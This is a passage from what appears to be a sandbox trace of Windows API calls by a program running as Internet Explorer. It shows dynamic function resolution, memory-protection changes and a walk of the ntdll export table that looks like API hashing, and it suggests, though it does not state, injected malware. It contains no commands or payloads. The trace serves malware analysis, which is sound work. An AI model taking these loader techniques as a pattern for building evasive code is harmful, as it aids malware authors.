Name="CallNamedPipeA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a71f74) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="WaitNamedPipeA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a71c36) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a740fb) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0cc79) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a6bce9) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetCommandLineA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f51a1) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="AddVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773b742b) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExitProcess", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f7a10) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="OpenEventA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4a45) returned 0x0 [0064.167] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0d4dc) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a744cf) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CompareFileTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1b25) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RemoveVectoredExceptionHandler", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x773b5f41) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f1215) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f4407) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0ce2e) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileSectionNamesW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a6a1ea) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileStringW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769fea48) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="lstrcmpiW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0d5cd) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetPrivateProfileIntW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1298b) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f58a6) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="ExpandEnvironmentStringsA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0eb39) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a18baf) returned 0x0 [0064.168] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a1896c) returned 0x0 [0064.169] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="QueueUserWorkItem", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a0ca80) returned 0x0 [0064.169] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="FileTimeToLocalFileTime", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769fe29e) returned 0x0 [0064.169] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="CreateWaitableTimerA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a74c24) returned 0x0 [0064.169] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x769f5414) returned 0x0 [0064.169] LdrGetProcedureAddress (in: BaseAddress=0x769e0000, Name="VirtualProtectEx", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x76a745bf) returned 0x0 [0064.169] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="AVIFIL32.dll", BaseAddress=0x26fde0 | out: BaseAddress=0x26fde0*=0x74d40000) returned 0x0 [0064.229] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileExit", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d45fbd) returned 0x0 [0064.229] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileRelease", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d4625e) returned 0x0 [0064.229] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileInit", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d45f9f) returned 0x0 [0064.229] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamWrite", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d46479) returned 0x0 [0064.230] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileCreateStreamA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d46198) returned 0x0 [0064.230] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIFileOpenA", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d46cbc) returned 0x0 [0064.230] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamRelease", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d4625e) returned 0x0 [0064.230] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIStreamSetFormat", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d463f0) returned 0x0 [0064.230] LdrGetProcedureAddress (in: BaseAddress=0x74d40000, Name="AVIMakeCompressedStream", Ordinal=0x0, ProcedureAddress=0x26fddc | out: ProcedureAddress=0x26fddc*=0x74d46dde) returned 0x0 [0064.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x26fdfc*=0x470000, NumberOfBytesToProtect=0x26fde8, NewAccessProtection=0x4, OldAccessProtection=0x26fddc | out: BaseAddress=0x26fdfc*=0x470000, NumberOfBytesToProtect=0x26fde8, OldAccessProtection=0x26fddc*=0x40) returned 0x0 [0064.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x26fdf0*=0x471000, NumberOfBytesToProtect=0x26fde8, NewAccessProtection=0x20, OldAccessProtection=0x26fddc | out: BaseAddress=0x26fdf0*=0x471000, NumberOfBytesToProtect=0x26fde8, OldAccessProtection=0x26fddc*=0x40) returned 0x0 [0064.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x26fdf0*=0x49e000, NumberOfBytesToProtect=0x26fde8, NewAccessProtection=0x2, OldAccessProtection=0x26fddc | out: BaseAddress=0x26fdf0*=0x49e000, NumberOfBytesToProtect=0x26fde8, OldAccessProtection=0x26fddc*=0x40) returned 0x0 [0064.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x26fdf0*=0x4c6000, NumberOfBytesToProtect=0x26fde8, NewAccessProtection=0x4, OldAccessProtection=0x26fddc | out: BaseAddress=0x26fdf0*=0x4c6000, NumberOfBytesToProtect=0x26fde8, OldAccessProtection=0x26fddc*=0x40) returned 0x0 [0064.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x26fdf0*=0x4ca000, NumberOfBytesToProtect=0x26fde8, NewAccessProtection=0x4, OldAccessProtection=0x26fddc | out: BaseAddress=0x26fdf0*=0x4ca000, NumberOfBytesToProtect=0x26fde8, OldAccessProtection=0x26fddc*=0x40) returned 0x0 [0064.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x26fdf0*=0x4cc000, NumberOfBytesToProtect=0x26fde8, NewAccessProtection=0x2, OldAccessProtection=0x26fddc | out: BaseAddress=0x26fdf0*=0x4cc000, NumberOfBytesToProtect=0x26fde8, OldAccessProtection=0x26fddc*=0x40) returned 0x0 [0064.233] HeapCreate (flOptions=0x0, dwInitialSize=0x400000, dwMaximumSize=0x0) returned 0x2390000 [0064.243] GetTickCount () returned 0x1fc67 [0064.243] GetModuleHandleA (lpModuleName=0x0) returned 0xd60000 [0064.243] GetVersion () returned 0x1db10106 [0064.243] GetCurrentProcessId () returned 0xb54 [0064.243] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xb0 [0064.243] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x208) returned 0x27887d0 [0064.243] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x27887d0, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0064.243] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x1800) returned 0x27889e0 [0064.243] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889e0 | out: hHeap=0x2390000) returned 1 [0064.243] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0064.244] GetProcAddress (hModule=0x769e0000, lpProcName="IsWow64Process") returned 0x769f195e [0064.244] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb54) returned 0xb4 [0064.244] IsWow64Process (in: hProcess=0xb4, Wow64Process=0x26fd9c | out: Wow64Process=0x26fd9c) returned 1 [0064.244] CloseHandle (hObject=0xb4) returned 1 [0064.244] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0064.244] lstrlenA (lpString="A_SHAFinal") returned 10 [0064.244] lstrlenA (lpString="A_SHAInit") returned 9 [0064.244] lstrlenA (lpString="A_SHAUpdate") returned 11 [0064.244] lstrlenA (lpString="AlpcAdjustCompletionListConcurrencyCount") returned 40 [0064.244] lstrlenA (lpString="AlpcFreeCompletionListMessage") returned 29 [0064.244] lstrlenA (lpString="AlpcGetCompletionListLastMessageInformation") returned 43 [0064.244] lstrlenA (lpString="AlpcGetCompletionListMessageAttributes") returned 38 [0064.244] lstrlenA (lpString="AlpcGetHeaderSize") returned 17 [0064.244] lstrlenA (lpString="AlpcGetMessageAttribute") returned 23 [0064.244] lstrlenA (lpString="AlpcGetMessageFromCompletionList") returned 32 [0064.244] lstrlenA (lpString="AlpcGetOutstandingCompletionListMessageCount") returned 44 [0064.244] lstrlenA (lpString="AlpcInitializeMessageAttribute") returned 30 [0064.244] lstrlenA (lpString="AlpcMaxAllowedMessageLength") returned 27 [0064.244] lstrlenA (lpString="AlpcRegisterCompletionList") returned 26 [0064.244] lstrlenA (lpString="AlpcRegisterCompletionListWorkerThread") returned 38 [0064.244] lstrlenA (lpString="AlpcRundownCompletionList") returned 25 [0064.244] lstrlenA (lpString="AlpcUnregisterCompletionList") returned 28 [0064.244] lstrlenA (lpString="AlpcUnregisterCompletionListWorkerThread") returned 40 [0064.244] lstrlenA (lpString="CsrAllocateCaptureBuffer") returned 24 [0064.244] lstrlenA (lpString="CsrAllocateMessagePointer") returned 25 [0064.244] lstrlenA (lpString="CsrCaptureMessageBuffer") returned 23 [0064.244] lstrlenA (lpString="CsrCaptureMessageMultiUnicodeStringsInPlace") returned 43 [0064.244] lstrlenA (lpString="CsrCaptureMessageString") returned 23 [0064.244] lstrlenA (lpString="CsrCaptureTimeout") returned 17 [0064.244] lstrlenA (lpString="CsrClientCallServer") returned 19 [0064.244] lstrlenA (lpString="CsrClientConnectToServer") returned 24 [0064.245] lstrlenA (lpString="CsrFreeCaptureBuffer") returned 20 [0064.245] lstrlenA (lpString="CsrGetProcessId") returned 15 [0064.245] lstrlenA (lpString="CsrIdentifyAlertableThread") returned 26 [0064.245] lstrlenA (lpString="CsrSetPriorityClass") returned 19 [0064.245] lstrlenA (lpString="CsrVerifyRegion") returned 15 [0064.245] lstrlenA (lpString="DbgBreakPoint") returned 13 [0064.245] lstrlenA (lpString="DbgPrint") returned 8 [0064.245] lstrlenA (lpString="DbgPrintEx") returned 10 [0064.245] lstrlenA (lpString="DbgPrintReturnControlC") returned 22 [0064.245] lstrlenA (lpString="DbgPrompt") returned 9 [0064.245] lstrlenA (lpString="DbgQueryDebugFilterState") returned 24 [0064.245] lstrlenA (lpString="DbgSetDebugFilterState") returned 22 [0064.245] lstrlenA (lpString="DbgUiConnectToDbg") returned 17 [0064.245] lstrlenA (lpString="DbgUiContinue") returned 13 [0064.245] lstrlenA (lpString="DbgUiConvertStateChangeStructure") returned 32 [0064.245] lstrlenA (lpString="DbgUiDebugActiveProcess") returned 23 [0064.245] lstrlenA (lpString="DbgUiGetThreadDebugObject") returned 25 [0064.245] lstrlenA (lpString="DbgUiIssueRemoteBreakin") returned 23 [0064.245] lstrlenA (lpString="DbgUiRemoteBreakin") returned 18 [0064.245] lstrlenA (lpString="DbgUiSetThreadDebugObject") returned 25 [0064.245] lstrlenA (lpString="DbgUiStopDebugging") returned 18 [0064.245] lstrlenA (lpString="DbgUiWaitStateChange") returned 20 [0064.245] lstrlenA (lpString="DbgUserBreakPoint") returned 17 [0064.245] lstrlenA (lpString="EtwCreateTraceInstanceId") returned 24 [0064.245] lstrlenA (lpString="EtwDeliverDataBlock") returned 19 [0064.245] lstrlenA (lpString="EtwEnumerateProcessRegGuids") returned 27 [0064.245] lstrlenA (lpString="EtwEventActivityIdControl") returned 25 [0064.245] lstrlenA (lpString="EtwEventEnabled") returned 15 [0064.245] lstrlenA (lpString="EtwEventProviderEnabled") returned 23 [0064.245] lstrlenA (lpString="EtwEventRegister") returned 16 [0064.245] lstrlenA (lpString="EtwEventUnregister") returned 18 [0064.245] lstrlenA (lpString="EtwEventWrite") returned 13 [0064.245] lstrlenA (lpString="EtwEventWriteEndScenario") returned 24 [0064.245] lstrlenA (lpString="EtwEventWriteEx") returned 15 [0064.245] lstrlenA (lpString="EtwEventWriteFull") returned 17 [0064.245] lstrlenA (lpString="EtwEventWriteNoRegistration") returned 27 [0064.245] lstrlenA (lpString="EtwEventWriteStartScenario") returned 26 [0064.245] lstrlenA (lpString="EtwEventWriteString") returned 19 [0064.245] lstrlenA (lpString="EtwEventWriteTransfer") returned 21 [0064.245] lstrlenA (lpString="EtwGetTraceEnableFlags") returned 22 [0064.245] lstrlenA (lpString="EtwGetTraceEnableLevel") returned 22 [0064.245] lstrlenA (lpString="EtwGetTraceLoggerHandle") returned 23 [0064.246] lstrlenA (lpString="EtwLogTraceEvent") returned 16 [0064.246] lstrlenA (lpString="EtwNotificationRegister") returned 23 [0064.246] lstrlenA (lpString="EtwNotificationUnregister") returned 25 [0064.246] lstrlenA (lpString="EtwProcessPrivateLoggerRequest") returned 30 [0064.246] lstrlenA (lpString="EtwRegisterSecurityProvider") returned 27 [0064.246] lstrlenA (lpString="EtwRegisterTraceGuidsA") returned 22 [0064.246] lstrlenA (lpString="EtwRegisterTraceGuidsW") returned 22 [0064.246] lstrlenA (lpString="EtwReplyNotification") returned 20 [0064.246] lstrlenA (lpString="EtwSendNotification") returned 19 [0064.246] lstrlenA (lpString="EtwSetMark") returned 10 [0064.246] lstrlenA (lpString="EtwTraceEventInstance") returned 21 [0064.246] lstrlenA (lpString="EtwTraceMessage") returned 15 [0064.246] lstrlenA (lpString="EtwTraceMessageVa") returned 17 [0064.246] lstrlenA (lpString="EtwUnregisterTraceGuids") returned 23 [0064.246] lstrlenA (lpString="EtwWriteUMSecurityEvent") returned 23 [0064.246] lstrlenA (lpString="EtwpCreateEtwThread") returned 19 [0064.246] lstrlenA (lpString="EtwpGetCpuSpeed") returned 15 [0064.246] lstrlenA (lpString="EtwpNotificationThread") returned 22 [0064.246] lstrlenA (lpString="EvtIntReportAuthzEventAndSourceAsync") returned 36 [0064.246] lstrlenA (lpString="EvtIntReportEventAndSourceAsync") returned 31 [0064.246] lstrlenA (lpString="ExpInterlockedPopEntrySListEnd") returned 30 [0064.246] lstrlenA (lpString="ExpInterlockedPopEntrySListFault") returned 32 [0064.246] lstrlenA (lpString="ExpInterlockedPopEntrySListResume") returned 33 [0064.246] lstrlenA (lpString="KiFastSystemCall") returned 16 [0064.246] lstrlenA (lpString="KiFastSystemCallRet") returned 19 [0064.246] lstrlenA (lpString="KiIntSystemCall") returned 15 [0064.246] lstrlenA (lpString="KiRaiseUserExceptionDispatcher") returned 30 [0064.246] lstrlenA (lpString="KiUserApcDispatcher") returned 19 [0064.246] lstrlenA (lpString="KiUserCallbackDispatcher") returned 24 [0064.246] lstrlenA (lpString="KiUserExceptionDispatcher") returned 25 [0064.246] lstrlenA (lpString="LdrAccessResource") returned 17 [0064.246] lstrlenA (lpString="LdrAddLoadAsDataTable") returned 21 [0064.246] lstrlenA (lpString="LdrAddRefDll") returned 12 [0064.246] lstrlenA (lpString="LdrDisableThreadCalloutsForDll") returned 30 [0064.246] lstrlenA (lpString="LdrEnumResources") returned 16 [0064.246] lstrlenA (lpString="LdrEnumerateLoadedModules") returned 25 [0064.246] lstrlenA (lpString="LdrFindEntryForAddress") returned 22 [0064.246] lstrlenA (lpString="LdrFindResourceDirectory_U") returned 26 [0064.246] lstrlenA (lpString="LdrFindResourceEx_U") returned 19 [0064.246] lstrlenA (lpString="LdrFindResource_U") returned 17 [0064.246] lstrlenA (lpString="LdrFlushAlternateResourceModules") returned 32 [0064.247] lstrlenA (lpString="LdrGetDllHandle") returned 15 [0064.247] lstrlenA (lpString="LdrGetDllHandleByMapping") returned 24 [0064.247] lstrlenA (lpString="LdrGetDllHandleByName") returned 21 [0064.247] lstrlenA (lpString="LdrGetDllHandleEx") returned 17 [0064.247] lstrlenA (lpString="LdrGetFailureData") returned 17 [0064.247] lstrlenA (lpString="LdrGetFileNameFromLoadAsDataTable") returned 33 [0064.247] lstrlenA (lpString="LdrGetProcedureAddress") returned 22 [0064.247] lstrlenA (lpString="LdrGetProcedureAddressEx") returned 24 [0064.247] lstrlenA (lpString="LdrHotPatchRoutine") returned 18 [0064.247] lstrlenA (lpString="LdrInitShimEngineDynamic") returned 24 [0064.247] lstrlenA (lpString="LdrInitializeThunk") returned 18 [0064.247] lstrlenA (lpString="LdrLoadAlternateResourceModule") returned 30 [0064.247] lstrlenA (lpString="LdrLoadAlternateResourceModuleEx") returned 32 [0064.247] lstrlenA (lpString="LdrLoadDll") returned 10 [0064.247] lstrlenA (lpString="LdrLockLoaderLock") returned 17 [0064.247] lstrlenA (lpString="LdrOpenImageFileOptionsKey") returned 26 [0064.247] lstrlenA (lpString="LdrProcessRelocationBlock") returned 25 [0064.247] lstrlenA (lpString="LdrQueryImageFileExecutionOptions") returned 33 [0064.247] lstrlenA (lpString="LdrQueryImageFileExecutionOptionsEx") returned 35 [0064.247] lstrlenA (lpString="LdrQueryImageFileKeyOption") returned 26 [0064.247] lstrlenA (lpString="LdrQueryModuleServiceTags") returned 25 [0064.247] lstrlenA (lpString="LdrQueryProcessModuleInformation") returned 32 [0064.247] lstrlenA (lpString="LdrRegisterDllNotification") returned 26 [0064.247] lstrlenA (lpString="LdrRemoveLoadAsDataTable") returned 24 [0064.247] lstrlenA (lpString="LdrResFindResource") returned 18 [0064.247] lstrlenA (lpString="LdrResFindResourceDirectory") returned 27 [0064.247] lstrlenA (lpString="LdrResGetRCConfig") returned 17 [0064.247] lstrlenA (lpString="LdrResRelease") returned 13 [0064.247] lstrlenA (lpString="LdrResSearchResource") returned 20 [0064.247] lstrlenA (lpString="LdrRscIsTypeExist") returned 17 [0064.247] lstrlenA (lpString="LdrSetAppCompatDllRedirectionCallback") returned 37 [0064.247] lstrlenA (lpString="LdrSetDllManifestProber") returned 23 [0064.247] lstrlenA (lpString="LdrSetMUICacheType") returned 18 [0064.247] lstrlenA (lpString="LdrShutdownProcess") returned 18 [0064.247] lstrlenA (lpString="LdrShutdownThread") returned 17 [0064.247] lstrlenA (lpString="LdrUnloadAlternateResourceModule") returned 32 [0064.247] lstrlenA (lpString="LdrUnloadAlternateResourceModuleEx") returned 34 [0064.247] lstrlenA (lpString="LdrUnloadDll") returned 12 [0064.247] lstrlenA (lpString="LdrUnlockLoaderLock") returned 19 [0064.247] lstrlenA (lpString="LdrUnregisterDllNotification") returned 28 [0064.247] lstrlenA (lpString="LdrVerifyImageMatchesChecksum") returned 29 [0064.247] lstrlenA (lpString="LdrVerifyImageMatchesChecksumEx") returned 31 [0064.247] lstrlenA (lpString="LdrWx86FormatVirtualImage") returned 25 [0064.248] lstrlenA (lpString="LdrpResGetMappingSize") returned 21 [0064.248] lstrlenA (lpString="LdrpResGetResourceDirectory") returned 27 [0064.248] lstrlenA (lpString="MD4Final") returned 8 [0064.248] lstrlenA (lpString="MD4Init") returned 7 [0064.248] lstrlenA (lpString="MD4Update") returned 9 [0064.248] lstrlenA (lpString="MD5Final") returned 8 [0064.248] lstrlenA (lpString="MD5Init") returned 7 [0064.248] lstrlenA (lpString="MD5Update") returned 9 [0064.248] lstrlenA (lpString="NlsAnsiCodePage") returned 15 [0064.248] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0064.248] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0064.248] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0064.248] lstrlenA (lpString="NtAccessCheck") returned 13 [0064.248] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0064.248] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0064.248] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0064.248] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0064.248] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0064.248] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0064.248] lstrlenA (lpString="NtAddAtom") returned 9 [0064.248] lstrlenA (lpString="NtAddBootEntry") returned 14 [0064.248] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0064.248] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0064.248] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0064.248] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0064.248] lstrlenA (lpString="NtAlertThread") returned 13 [0064.248] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0064.248] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0064.248] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0064.248] lstrlenA (lpString="NtAllocateUuids") returned 15 [0064.248] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0064.248] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0064.248] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0064.248] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0064.248] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0064.248] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0064.248] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0064.248] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0064.248] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0064.248] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0064.248] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0064.248] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0064.248] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0064.249] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0064.249] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0064.249] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0064.249] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0064.249] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0064.249] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0064.249] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0064.249] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0064.249] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0064.249] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0064.249] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0064.249] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0064.249] lstrlenA (lpString="NtCallbackReturn") returned 16 [0064.249] lstrlenA (lpString="NtCancelIoFile") returned 14 [0064.249] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0064.249] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0064.249] lstrlenA (lpString="NtCancelTimer") returned 13 [0064.249] lstrlenA (lpString="NtClearEvent") returned 12 [0064.249] lstrlenA (lpString="NtClose") returned 7 [0064.249] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0064.249] lstrlenA (lpString="NtCommitComplete") returned 16 [0064.249] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0064.249] lstrlenA (lpString="NtCommitTransaction") returned 19 [0064.249] lstrlenA (lpString="NtCompactKeys") returned 13 [0064.249] lstrlenA (lpString="NtCompareTokens") returned 15 [0064.249] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0064.249] lstrlenA (lpString="NtCompressKey") returned 13 [0064.249] lstrlenA (lpString="NtConnectPort") returned 13 [0064.249] lstrlenA (lpString="NtContinue") returned 10 [0064.249] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0064.249] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0064.249] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0064.249] lstrlenA (lpString="NtCreateEvent") returned 13 [0064.249] lstrlenA (lpString="NtCreateEventPair") returned 17 [0064.249] lstrlenA (lpString="NtCreateFile") returned 12 [0064.249] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0064.249] lstrlenA (lpString="NtCreateJobObject") returned 17 [0064.249] lstrlenA (lpString="NtCreateJobSet") returned 14 [0064.249] lstrlenA (lpString="NtCreateKey") returned 11 [0064.249] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0064.249] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0064.250] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0064.250] lstrlenA (lpString="NtCreateMutant") returned 14 [0064.250] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0064.250] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0064.250] lstrlenA (lpString="NtCreatePort") returned 12 [0064.250] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0064.250] lstrlenA (lpString="NtCreateProcess") returned 15 [0064.250] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0064.250] lstrlenA (lpString="NtCreateProfile") returned 15 [0064.250] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0064.250] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0064.250] lstrlenA (lpString="NtCreateSection") returned 15 [0064.250] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0064.254] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x75220000 [0064.254] GetProcAddress (hModule=0x75220000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned 0x7522ca94 [0064.254] ConvertStringSecurityDescriptorToSecurityDescriptorA () returned 0x1 [0064.338] NtOpenProcess (in: 